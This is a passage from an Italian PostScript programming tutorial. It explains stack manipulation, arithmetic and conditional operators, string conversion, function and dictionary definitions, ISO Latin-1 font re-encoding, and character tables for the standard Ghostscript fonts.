Dato questo meccanismo, diventano importanti alcune funzioni che consentono di intervenire su questa pila: '**`clear`**' svuota completamente la pila; '**`pop`**' preleva ed elimina l'ultimo valore inserito. A fianco di '**`pop`**' si potrebbe immaginare la presenza di una funzione con il nome *push*, ma in questo caso non serve, perché l'azione di inserimento nella pila avviene in modo implicito.

Sono un po' più difficili da comprendere le funzioni '**`exch`**' e '**`roll`**'. La prima scambia l'ordine degli ultimi due valori inseriti nella pila; la seconda esegue uno scorrimento, verso sinistra o verso destra di una certa quantità di questi valori:

n_elementi_da_scorrere scorrimento `roll`

Per esempio, se nella pila ci fossero i valori 1, 2, 3, 4, 5, 6 e 7, in questo ordine, per cui il primo a essere prelevato sarebbe il numero 7, l'istruzione '**`3 2 roll`**' trasformerebbe questa sequenza in 1, 2, 3, 4, 6, 7 e 5; al contrario, l'istruzione '**`3 -2 roll`**' trasformerebbe questa sequenza in 1, 2, 3, 4, 7, 5 e 6. In pratica, il primo valore indica quanti elementi prendere in considerazione, a partire dall'ultimo, mentre il secondo indica quante volte scorrere e in quale direzione.

Figura 60.49. Esempio di funzionamento dell'istruzione '**`roll`**', con uno scorrimento verso destra.

```
pila iniziale:     1 2 3 4 5 6 7

    3 2 roll               7 5 6  (primo scorrimento verso destra)
                           6 7 5  (secondo scorrimento verso destra)
pila finale:       1 2 3 4 6 7 5
```

Figura 60.50. Esempio di funzionamento dell'istruzione '**`roll`**', con uno scorrimento verso sinistra.

```
pila iniziale:     1 2 3 4 5 6 7

    3 -2 roll              6 7 5  (primo scorrimento verso sinistra)
                           7 5 6  (secondo scorrimento verso sinistra)
pila finale:       1 2 3 4 7 5 6
```

Quando una funzione restituisce un valore, lo fa inserendolo implicitamente nella pila. In questo modo, l'assegnamento a una variabile, così come si è abituati nei linguaggi di programmazione comuni, non c'è. Al massimo si definisce una funzione che restituisce un valore, inserendolo nella pila.

Anche le funzioni '**`exch`**' e '**`roll`**' prelevano dei valori dalla pila e poi ne inseriscono degli altri nella stessa. In pratica, '**`exch`**' preleva due valori, li scambia e li inserisce nella pila; '**`roll`**' preleva due valori, li interpreta, quindi preleva un gruppo di altri valori, li fa scorrere in un verso o nell'altro, quindi li inserisce nuovamente nella pila.

A questo punto si può cominciare a comprendere che i dati inseriti nella pila, quando ciò non avviene per mezzo di una funzione che restituisce qualcosa, devono avere una rappresentazione formale. Può trattarsi di: valori numerici, che si scrivono come sono, utilizzando il punto

per separare la parte decimale; stringhe, che sono delimitate da parentesi tonde e possono contenere delle sequenze di escape; espressioni, che sono delimitate tra parentesi graffe (si ricordi il caso della funzione '**`repeat`**'). I valori logici, *Vero* e *Falso*, non hanno una rappresentazione particolare e si indicano espressamente solo attraverso le funzioni '**`true`**' e '**`false`**'.

Tabella 60.51. Rappresentazione dei dati e gestione della pila.

Istruzione	Descrizione
intero [***.decimale***]	Inserisce il valore numerico nella pila.
(***stringa***)	Inserisce la stringa nella pila.
{***espressione***}	Inserisce le istruzioni nella pila.
`clear`	Svuota la pila.
oggetto `pop`	Preleva dalla pila l'ultimo valore inserito.
oggetto_1 ***oggetto_2*** `exch`	Scambia gli ultimi due valori nella pila.
m ***n*** `roll`	Fa scorrere gli ultimi ***m*** elementi della pila di ***n*** posizioni verso destra.
m -***n*** `roll`	Fa scorrere gli ultimi ***m*** elementi della pila di ***n*** posizioni verso sinistra.
oggetto `dup`	Preleva l'ultimo valore e ne inserisce due copie nella pila.

60.9 Funzioni comuni

Alcune funzioni operano su valori numerici, restituendo un risultato che, secondo la logica del linguaggio PostScript, viene inserito nella pila. Per esempio, la funzione '**`add`**' riceve due valori restituendo la somma di questi:

```
10 20 add 40 moveto
```

In questo caso, vengono sommati i valori 10 e 20, inserendo nella pila il valore 30. Così, si ottiene lo spostamento nelle coordinate 30 , 40, attraverso la funzione '**`moveto`**'.

I valori logici, come accennato, si indicano attraverso le funzioni '**`true`**' e '**`false`**', che si limitano rispettivamente a inserire nella pila il valore corrispondente. Possono generare risultati logici anche alcune funzioni di confronto e i valori logici possono essere rielaborati attraverso funzioni booleane. Infine, in base a un valore logico è possibile eseguire o meno un gruppo di espressioni. Si osservino gli esempi seguenti.

`10 20 lt`	La funzione '**`lt`**' confronta due valori e restituisce *Vero* se il primo (secondo la lettura umana) è minore. In questo caso, viene restituito *Vero*.
`10 20 lt 45 34 gt and`	La funzione '**`and`**' restituisce *Vero* se riceve due valori *Vero* simultaneamente. In questo caso, la funzione '**`lt`**' inserisce il valore *Vero* nella pila e anche la funzione '**`gt`**' inserisce un altro valore *Vero*, dal momento che il confrontando i valori 45 e 34 si vede che il primo è maggiore del secondo.

`10 20 lt {45 50 moveto} if`	La funzione '**`if`**' preleva un valore logico e un gruppo di istruzioni. Se il valore logico è *Vero* viene eseguito il raggruppamento di istruzioni. In questo caso, dato che la funzione '**`lt`**' inserisce il valore *Vero* nella pila, così può essere eseguito lo spostamento nelle coordinate 45 , 50.
`10 20 lt {45 50 moveto} ↩` `↪{50 45 moveto} ifelse`	La funzione '**`ifelse`**' preleva un valore logico e due gruppi di istruzioni. Se il valore logico è *Vero* viene eseguito il primo gruppo di istruzioni, altrimenti viene eseguito il secondo. In questo caso, dato che la funzione '**`lt`**' inserisce il valore *Vero* nella pila, così viene eseguito lo spostamento nelle coordinate 45 , 50.

Queste funzioni vengono descritte brevemente nella tabella 60.54.

Tabella 60.54. Espressioni matematiche, logiche e condizionali.

Istruzione	Descrizione
n `neg`	Inverte il segno del valore.
m n `add`	Somma i due valori.
m n `sub`	Sottrae ***n*** da ***m***.
m n `mul`	Moltiplica i valori.
m n `div`	Divide ***m*** per ***n***.
m n `mod`	Il resto della divisione intera di ***m*** per ***n***.
n `round`	Arrotonda ***n***.
n `abs`	Calcola il valore assoluto di ***n***.
n `sin`	Calcola il seno di ***n***.
n `cos`	Calcola il coseno di ***n***.
m n `min`	Restituisce il minimo tra due valori.
m n `max`	Restituisce il massimo tra due valori.
`true`	*Vero*.
`false`	*Falso*.
m n `gt`	*Vero* se ***m*** è maggiore di ***n***.
m n `ge`	*Vero* se ***m*** è maggiore o uguale a ***n***.
m n `lt`	*Vero* se ***m*** è minore di ***n***.
m n `le`	*Vero* se ***m*** è minore o uguale a ***n***.

Istruzione	Descrizione
m ***n*** `eq`	*Vero* se i valori sono uguali.
m ***n*** `ne`	*Vero* se i valori sono diversi.
bool `{`***istruzioni***`}` `if`	Esegue le istruzioni se il valore logico è *Vero*.
bool `{`***istr_1***`}` `{`***istr_2***`}` `ifelse`	Esegue il primo o il secondo gruppo di istruzioni in base al valore logico.

60.10 Operazioni sulle stringhe

A causa della struttura del linguaggio, la gestione delle stringhe non è affatto intuitiva: bisogna tradurre tutto nell'ottica della pila. Tanto per cominciare, la cosa più semplice che si può fare con una stringa è misurarne la lunghezza con l'aiuto della funzione '**`stringwidth`**'. Per la precisione, si tratta di determinare la posizione finale di una stringa collocata a partire dalle coordinate 0 , 0:

stringa `stringwidth`

Se si osserva la figura 60.55, si può vedere la stringa composta dalla parola «Ciao», scritta con il carattere Helvetica, avente un corpo di 12 punti. Come si vede, la sua lunghezza è di 24,672 punti.

Figura 60.55. Lunghezza di una stringa.

Quando c'è la necessità di convertire un valore in una stringa, si pone il problema dell'allocazione di memoria per la stringa stessa. Per esempio, la funzione '**`cvs`**' converte un valore in stringa, ma per farlo deve avere già una stringa da prelevare dalla pila:

valore ***stringa*** `cvs`

Volendo convertire il valore 23,45 in stringa, bisogna preparare prima una stringa di almeno cinque caratteri:

```
23.45 (     ) cvs
```

Per allocare una stringa, composta da caratteri <*NUL*>, ovvero 000_8, si può usare la funzione '**string**', che richiede l'indicazione della quantità di caratteri. Pertanto, la stessa cosa avrebbe potuto essere scritta nel modo seguente:

```
23.45 5 string cvs
```

Naturalmente, la funzione '**cvs**' si può usare per visualizzare la stringa generata, per esempio nel modo seguente:

```
10 10 moveto
23.45
5 string cvs
show
```

Si osservi che con '**cvs**', anche se si alloca una stringa più grande del necessario, questa viene ridotta alla dimensione richiesta dalla conversione.

Tabella 60.59. Espressioni relative a stringhe.

Istruzione	Descrizione
n `string`	Alloca una stringa di ***n*** caratteri <*NUL*>.
stringa `stringwidth`	Inserisce le coordinate finali della stringa nella pila.
valore ***stringa*** `cvs`	Restituisce una stringa corrispondente al valore.
valore ***n*** `string cvs`	Restituisce una stringa corrispondente al valore, con un massimo di ***n*** caratteri.

60.11 Funzioni

Una funzione si definisce attraverso la sintassi seguente:

/***nome*** {***istruzioni***} `def`

In pratica, si vuole fare in modo che usando il nome indicato, si faccia riferimento automaticamente al gruppo di istruzioni contenuto tra parentesi graffe. Si noti che, eccezionalmente, se si tratta di definire una costante o se si vuole ridefinire il nome di un'altra funzione, non sono necessarie le parentesi graffe.

Come per qualunque altra funzione normale, anche le funzioni definite in questo modo ricevono gli argomenti delle chiamate dalla pila. Per esempio, la funzione '**quadrilatero**' che si potrebbe dichiarare nel modo seguente, va usata mettendo davanti, ordinatamente gli argomenti per le varie funzioni utilizzate:

```
/quadrilatero { newpath moveto lineto lineto lineto closepath stroke } def
```

Per esempio, volendo disegnare un quadrato con gli angoli nelle coordinate 0 , 0, 0 , 10, 10 , 10 e 10 , 0, si deve usare la funzione '**quadrilatero**' nel modo seguente:

```
10 0 10 10 0 10 0 0 quadrilatero
```

È importante osservare che la prima coppia di coordinate è quella presa in considerazione dall'ultima funzione '**lineto**' contenuta nel raggruppamento di '**quadrilatero**'.

Così come si definisce una funzione, si può attribuire a un nome un valore costante. In questi casi eccezionali, è consentita l'eliminazione delle parentesi graffe:

```
/nome costante def
```

Con la definizione di costanti, si può stabilire una volta per tutte il valore di qualcosa, come nell'esempio seguente:

```
/Margine_Sinistro 80 def
/Margine_Destro 80 def
/Margine_Superiore 100 def
/Margine_Inferiore 100 def
```

60.11.1 Variabili

Nel linguaggio PostScript non è prevista la gestione di variabili: tutto viene elaborato attraverso la pila. Tuttavia, esiste un trucco per ottenere qualcosa che assomigli a delle variabili; si tratta di sfruttare opportunamente la definizione di funzioni. È già stato visto l'assegnamento di un valore costante a un nome:

```
/nome costante def
```

Oppure:

```
/nome { costante } def
```

Se si vuole attribuire a una funzione un valore diverso, occorre un trucco, che si può schematizzare come segue:

```
/nome_1 { /nome_2 exch def } def
```

Si tratta di una funzione che ne dichiara un'altra, ma si osservi con attenzione: la parola chiave '**exch**' non è racchiusa tra parentesi graffe e non può esserlo, se si vuole che il meccanismo funzioni.

Per assegnare un valore alla funzione ***nome_2***, si utilizza una chiamata alla funzione ***nome_1***:

```
n nome_1
```

Per leggere il valore, si fa riferimento alla funzione ***nome_2***, come nell'esempio seguente in cui si utilizza questo dato come coordinata Y per uno spostamento:

```
n nome_1
m nome_2 moveto
```

60.12 Dizionari

La dichiarazione delle funzioni può essere inserita in un dizionario, da richiamare quando serve e da sostituire eventualmente con altre di un altro dizionario, quando la situazione lo richiede. In pratica, la definizione di dizionari di funzioni consente di fare riferimento a gruppi di funzioni solo nell'ambito di un certo contesto, ripristinando un utilizzo differente delle stesse subito dopo.

```
/dizionario n dict def
dizionario begin
    dichiarazione_di_funzione
    ...
    ...
end
```

Il modello sintattico mostra in che modo procedere alla dichiarazione di un dizionario. Si può osservare che prima della parola chiave '**`dict`**' occorre indicare un numero, allo scopo di definire una quantità di memoria da allocare per il dizionario stesso. Per abilitare l'uso delle funzioni dichiarate nel dizionario, si deve dichiarare espressamente:

```
dizionario begin
    istruzione
    ...
    ...
end
```

Eventualmente, la dichiarazione di utilizzo di un dizionario si può annidare; quando si raggiunge la parola chiave '**`end`**', termina il campo di azione dell'ultimo dizionario ancora aperto.

In generale, potrebbe essere conveniente inserire la dichiarazione dei dizionari nell'ambito delle istruzioni speciali '**`%%BeginProlog`**' e '**`%%EndProlog`**'. L'esempio seguente mostra un estratto di un file PostScript ipotetico, in cui si dichiara un dizionario (molto breve) e lo si utilizza immediatamente nell'ambito della pagina (i puntini di sospensione indicano una parte mancante del file che non viene mostrata).

```
%!PS-Adobe-2.0
%%DocumentPaperSizes: a4
%%EndComments
```

```
%%BeginProlog
/Mio_Dizionario 50 dict def
Mio_Dizionario begin
    /quadrilatero
    {
        newpath moveto lineto lineto lineto closepath stroke
    } def
    /Margine_Sinistro 80 def
    /Margine_Destro 80 def
    /Margine_Superiore 100 def
    /Margine_Inferiore 100 def
end     % Fine della dichiarazione del dizionario «Mio_Dizionario»
%%EndProlog
Mio_Dizionario begin
%%Page: 1 1
…
…
…
showpage
%%Page: 2 2
…
…
…
showpage
end     % Fine del campo di azione del dizionario «Mio_Dizionario»
%%Trailer
%%EOF
```

60.13 Caratteri da stampa

Il linguaggio PostScript, nelle sue prime versioni, prevede che il file contenente le istruzioni sia di tipo ASCII, dove è ammissibile usare gli 8 bit per esteso. Tuttavia, l'insieme di caratteri a disposizione non è il solito ISO 8859-1, ma qualcosa di diverso che può essere visto nella tabella 60.64.

Tabella 60.64. Insieme di caratteri normale del linguaggio PostScript.

									*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																																	\237
\240		¡	¢	£	⁄	¥	ƒ	§	¤	'	“	«	‹	›	ﬁ	ﬂ		–	†	‡	·		¶	•	‚	„	”	»	…	‰		¿	\277
\300		`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	—																\337
\340		Æ		ª					Ł	Ø	Œ	º						æ				ı			ł	ø	œ	ß					\377

Per fare riferimento a un simbolo in forma numerica, basta indicare il numero ottale corrispondente, di tre cifre, preceduto dalla barra obliqua inversa. Per facilitare la lettura, la tabella mostra questo modo di fare riferimento ai caratteri, all'inizio e alla fine di ogni riga.

Per poter usare la codifica corrispondente allo standard ISO 8859-1, è necessario dare delle istruzioni particolari. Volendo sbirciare nel codice PostScript generato da vari sistemi di composizione, si può osservare che ognuno utilizza un proprio modo, più o meno sofisticato. Probabilmente, la tecnica più semplice è quella che si può leggere nei sorgenti di Ghostscript, dove vengono dichiarate due funzioni apposite nel modo seguente:

```
/font-to-iso-latin-1
{
    dup length dict begin {1 index /FID ne {def} {pop pop} ifelse} forall
    /Encoding ISOLatin1Encoding def currentdict end
    dup /FontName get 80 string cvs (-ISOLatin1) concatstrings cvn
    exch definefont
} def

/find-latin-font
{
  findfont font-to-iso-latin-1
} def
```

In questo modo, quando si va a dichiarare l'uso di un certo tipo di carattere da stampa, invece dell'istruzione seguente, si usa piuttosto quella successiva:

/***carattere*** `findfont` ***dimensione*** `scalefont setfont`

Forma modificata per la selezione della codifica ISO 8859-1:

/***carattere*** `find-latin-font` ***dimensione*** `scalefont setfont`

60.14 Aspetto dei caratteri da stampa comuni

Il linguaggio PostScript mette a disposizione pochi tipi di carattere da stampa; tuttavia, è disponibile l'interprete Ghostscript, su moltissime piattaforme, che mette a disposizione un numero discreto di questi tipi. La tabella 60.77 elenca brevemente i nomi di questi tipi di carattere, mentre in altre tabelle successive viene mostrato l'aspetto di alcuni di questi, ordinando i simboli secondo l'insieme ISO 8859-1.

Tabella 60.66. Carattere da stampa AvantGarde.

									*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	−	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																	ı	`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	\237
\240		¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	-	®	¯	°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿	\277
\300	À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï	Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß	\337
\340	à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï	ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ	\377

Tabella 60.67. Carattere da stampa Bookman.

									*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	−	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																	ı	`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	\237
\240		¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	-	®	¯	°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿	\277
\300	À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï	Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß	\337
\340	à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï	ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ	\377

Tabella 60.68. Carattere da stampa Courier.

									*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	−	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																	ı	`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	\237
\240		¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	−	®	¯	°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿	\277
\300	À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï	Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß	\337
\340	à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï	ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ	\377

Tabella 60.69. Carattere da stampa Helvetica.

									*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	−	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																	ı	`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	\237
\240		¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	-	®	¯	°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿	\277
\300	À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï	Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß	\337
\340	à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï	ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ	\377

Tabella 60.70. Carattere da stampa NewCenturySchlbk.

									*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	−	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																	ı	`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	\237
\240		¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	-	®	¯	°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿	\277
\300	À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï	Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß	\337
\340	à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï	ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ	\377

Tabella 60.71. Carattere da stampa Palatino.

								*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	–	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																	ı	`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	\237
\240		¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	-	®	¯	°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿	\277
\300	À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï	Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß	\337
\340	à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï	ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ	\377

Tabella 60.72. Carattere da stampa Times.

								*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	–	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																	ı	`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	\237
\240		¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	-	®	¯	°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿	\277
\300	À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï	Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß	\337
\340	à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï	ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ	\377

Tabella 60.73. Carattere da stampa Utopia.

								*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	–	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																	ı	`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	\237
\240		¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	-	®	¯	°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿	\277
\300	À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï	Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß	\337
\340	à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï	ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ	\377

Tabella 60.74. Carattere da stampa ZapfChancery.

								*								*								*								
\000																																	\037
\040		!	"	#	$	%	&	’	(	)	*	+	,	–	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	\137
\140	‘	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		\177
\200																	ı	`	´	ˆ	˜	¯	˘	˙	¨		˚	¸		˝	˛	ˇ	\237
\240		¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	-	®	¯	°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿	\277
\300	À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï	Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß	\337
\340	à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï	ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ	\377

Tabella 60.75. Carattere da stampa ZapfDingbats (solo con l’insieme di caratteri normale).

								*								*								*								
\000																																	\037
\040		✁	✂	✃	✄	☎	✆	✇	✈	✉	☛	☞	✌	✍	✎	✏	✐	✑	✒	✓	✔	✕	✖	✗	✘	✙	✚	✛	✜	✝	✞	✟	\077
\100	✠	✡	✢	✣	✤	✥	✦	✧	★	✩	✪	✫	✬	✭	✮	✯	✰	✱	✲	✳	✴	✵	✶	✷	✸	✹	✺	✻	✼	✽	✾	✿	\137
\140	❀	❁	❂	❃	❄	❅	❆	❇	❈	❉	❊	❋	●	❍	■	❏	❐	❑	❒	▲	▼	◆	❖	◗	❘	❙	❚	❛	❜	❝	❞		\177
\200																																	\237
\240		❡	❢	❣	❤	❥	❦	❧	♣	♦	♥	♠	①	②	③	④	⑤	⑥	⑦	⑧	⑨	⑩	❶	❷	❸	❹	❺	❻	❼	❽	❾	❿	\277
\300	➀	➁	➂	➃	➄	➅	➆	➇	➈	➉	➊	➋	➌	➍	➎	➏	➐	➑	➒	➓	➔	→	↔	↕	➘	➙	➚	➛	➜	➝	➞	➟	\337
\340	➠	➡	➢	➣	➤	➥	➦	➧	➨	➩	➪	➫	➬	➭	➮	➯		➱	➲	➳	➴	➵	➶	➷	➸	➹	➺	➻	➼	➽	➾		\377

Tabella 60.76. Carattere da stampa Symbol (solo con l'insieme di caratteri normale).

									*								*								*								
\000																																	\037
\040		!	∀	#	∃	%	&	∋	(	)	*	+	,	−	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	\077
\100	≅	Α	Β	Χ	Δ	Ε	Φ	Γ	Η	Ι	ϑ	Κ	Λ	Μ	Ν	Ο	Π	Θ	Ρ	Σ	Τ	Υ	ς	Ω	Ξ	Ψ	Ζ	[	∴	]	⊥	_	\137
\140	‾	α	β	χ	δ	ε	φ	γ	η	ι	ϕ	κ	λ	μ	ν	ο	π	θ	ρ	σ	τ	υ	ϖ	ω	ξ	ψ	ζ	{	|	}	~		\177
\200																																	\237
\240	€	ϒ	′	≤	⁄	∞	ƒ	♣	♦	♥	♠	↔	←	↑	→	↓	°	±	″	≥	×	∝	∂	•	÷	≠	≡	≈	…	⏐	⎯	↵	\277
\300	ℵ	ℑ	ℜ	℘	⊗	⊕	∅	∩	∪	⊃	⊇	⊄	⊂	⊆	∈	∉	∠	∇	®	©	™	∏	√	⋅	¬	∧	∨	⇔	⇐	⇑	⇒	⇓	\337
\340	◊	〈	®	©	™	∑	⎛	⎜	⎝	⎡	⎢	⎣	⎧	⎨	⎩	⎪		〉	∫	⌠	⎮	⌡	⎞	⎟	⎠	⎤	⎥	⎦	⎫	⎬	⎭		\377

Tabella 60.77. Nomi dei tipi di carattere da stampa che solitamente sono disponibili con Ghostscript.

Nome	Descrizione
AvantGarde-Book	AvantGarde normale.
AvantGarde-BookOblique	AvantGarde inclinato.
AvantGarde-Demi	AvantGarde neretto.
AvantGarde-DemiOblique	AvantGarde neretto obliquo.
Bookman-Demi	Bookman neretto.
Bookman-DemiItalic	Bookman neretto corsivo.
Bookman-Light	Bookman normale.
Bookman-LightItalic	Bookman corsivo.
Courier	Courier normale.
Courier-Bold	Courier neretto.
Courier-BoldOblique	Courier neretto inclinato.
Courier-Oblique	Courier inclinato.
Helvetica	Helvetica normale.
Helvetica-Bold	Helvetica neretto.
Helvetica-BoldOblique	Helvetica neretto inclinato.
Helvetica-Narrow	Helvetica stretto.
Helvetica-Narrow-Bold	Helvetica stretto neretto.
Helvetica-Narrow-BoldOblique	Helvetica stretto neretto inclinato.
Helvetica-Narrow-Oblique	Helvetica stretto inclinato.
Helvetica-Oblique	Helvetica inclinato.
